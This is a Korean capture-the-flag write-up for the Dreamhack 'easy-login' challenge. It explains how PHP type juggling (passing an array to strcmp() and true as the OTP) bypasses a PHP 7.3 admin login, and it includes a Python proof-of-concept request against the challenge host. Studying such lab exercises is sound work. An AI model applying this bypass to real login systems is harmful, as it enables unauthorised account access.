LEVEL 2: easy-login

https://dreamhack.io/wargame/challenges/1213

환경


  • PHP 7.3 버전을 사용 중.
  • /index.php 에서 로그인 기능을 수행.
    • id, pw, otp를 입력받고 login.php에서 입력받은 값을 base64로 인코딩 수행.
    • base64로 인코딩된 정보로 신원 확인 절차 수행.
  • admin의 비밀번호는 16진수 32자리를 랜덤하게 생성.
  • admin의 otp는 “P” + 10진수 6자리를 랜덤하게 생성.


접근


  • admin으로 로그인을 하면 flag.php를 불러와 플래그를 획득할 수 있다. 그러므로 admin에 로그인하는 것이 목표다.
  • admin의 pw와 otp는 랜덤으로 생성되며, 길이가 매우 기므로 브루트포스를 수행하지 않고 해결할 생각이다.
  • PHP는 문자열과 비교 시, 자동으로 형변환되는 특성을 이용해 이를 우회할 것이다.


풀이


  • pw는 배열([ ])을 전달하여, 문자열과 strcmp()로 비교하면 NULL이 반환되고, !NULL은 true가 된다.
  • otp는 true를 전달하여, Type Juggling이 일어나 전달한 true는 1이 되고, 기존 otp 문자열은 “P000000” 형태로, 문자로 시작되어 0으로 변한다. 비교하게 되는 값은 1 != 0 이 되고, 이 비교는 true가 된다.


PoC 코드


import requests
import base64

url = "http://host8.dreamhack.games:17029/index.php"
header = { 'Content-Type':'application/x-www-form-urlencoded' }
data = '{"id":"admin","pw":[],"otp":true}'

b64data = (base64.b64encode(data.encode())).decode()
response = requests.post(url, headers=header, data=f'cred={b64data}')
print(response.text)


참고 자료


https://www.php.net/manual/en/types.comparisons.php
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html?highlight=php%20strcmp#strcmpstrcasecmp

Published by